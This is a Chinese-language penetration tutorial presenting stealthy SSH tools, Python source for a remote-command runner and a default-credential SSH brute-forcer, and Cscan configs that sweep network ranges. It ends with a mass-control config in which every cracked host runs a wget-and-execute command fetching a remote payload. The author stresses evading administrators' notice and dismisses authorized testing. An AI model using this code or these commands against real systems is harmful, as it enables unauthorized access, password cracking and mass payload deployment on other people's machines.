0x000 目录
1.Kali开启SSH
2.SSH连接工具优缺点
3.渗透专用SSH连接工具
4.ssh执行cmd源码
5.批量SSH密码破解
6.SSH批量上控
7.相关工具下载
0x001 SSH配置
1.打开文件 etc/ssh/sshd_config 2.添加permitrootlogin yes 3.将#PasswordAuthentication yes的注释去掉
0x002 重启ssh服务
/etc/init.d/ssh restart /etc/init.d/ssh stop (为了安全测试完ssh工具后可将其关闭)
0x003 SSH连接
1.sshshell交互式连接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)
以前我没写有人说你要是加上保持会话功能比较好,说话的语气像是这个很难你没能力实现一样
搞渗透为了隐蔽才没让其保持连接,不是没能力,你要是正常连接网上工具很多功能还强大的很
不过对我来说很多功能用不到,而且很多工具又大又需要安装过于麻烦,所以我顺手写了这工具
使用putty或网上其它SSH管理工具连接目标机,管理员均可看到攻击者一直在连接
有些人连接SSH去操作没多久,IP被BAN还不知道什么原因
安服的或许无所谓,毕竟都是授权的,直接扛电脑去接入内网搞
真正从事渗透的,你不专业的操作没被发现,只能说管理员很蠢
2.sshcmd 非交互式SSH连接
渗透专版SSH连接工具GUI版,命令行版为sshcmd.exe非交互
优点都是执行完命令立即注销会话(即目标机看不到网络连接)
sshcmd命令行非交互式,python版编译的很大9M(大家可自行编译不同PY或依赖版本可能会更小,以前我编译的才6M)
也可用该工具验证密码是否正确,比sshtest要好,毕竟直接可看到是否可执行CMD命令
3.sshtest密码验证
sshtest.exe 192.168.1.106 22 root toor
4.K8Cscan批量验证SSH密码
0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录
Cscan.ini内容如下
1.爆破弱口令(当前无密码或已获取多个帐密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 "" "" -crack
2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 root k8gege -test
3.Cscan扫描单个C段/B段/A段机器
cscan 192.168.1.108 (单个IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段扫描
新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)
以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口
不指定端口意味着ip.txt里需要填写上对应SSH端口
需将图中的sshtest.exe改成sshcrack.exe
0x004 sshcmd源码
import paramiko import sys print("sshcmd 1.0") print("by k8gege") ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]) stdin, stdout, stderr = ssh.exec_command(sys.argv[5]) print stdout.read() ssh.close()
0x005 sshcrack源码
[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)
https://www.cnblogs.com/k8gege/p/10995625.html
#sshcrack 1.0 #author: k8gege #https://www.cnblogs.com/k8gege #https://github.com/k8gege import paramiko import sys import logging ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logging.raiseExceptions=False def checkSSH(host,port,user,pwd): try: ssh.connect(host,port,user,pwd) print host+' '+port+' '+user+' '+pwd+' LoginOK' except: pass host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] pwd=sys.argv[4] type=sys.argv[5] if type=='-test': checkSSH(host,port,user,pwd) elif type=='-crack': checkSSH(host,port,'root','123456') checkSSH(host,port,'root','cisco') checkSSH(host,port,'root','Cisco') checkSSH(host,port,'admin','123456') checkSSH(host,port,'cisco','123456') checkSSH(host,port,'cisco','cisco') checkSSH(host,port,'Cisco','Cisco') checkSSH(host,port,'cisco','cisco123') checkSSH(host,port,'admin','admin') checkSSH(host,port,'root','Admin') checkSSH(host,port,'root','toor') checkSSH(host,port,'root','Admin123') checkSSH(host,port,'root','system') checkSSH(host,port,'root','system123') checkSSH(host,port,'root','System') checkSSH(host,port,'root','System123') checkSSH(host,port,'root','Admin123!@#') checkSSH(host,port,'root','root123!@#') checkSSH(host,port,'root','root2019') checkSSH(host,port,'root','root2018') checkSSH(host,port,'root','root2017') checkSSH(host,port,'root','root2016') checkSSH(host,port,'root','root2015') checkSSH(host,port,'root','root2014') checkSSH(host,port,'root','root2013') checkSSH(host,port,'root','root2012') else: checkSSH(host,port,user,pwd)
0x006 Linux批量上控
通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控
详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)
ip.txt内容 格式: IP 端口 用户 帐密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
Cscan.ini内容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下载
https://github.com/k8gege/sshshell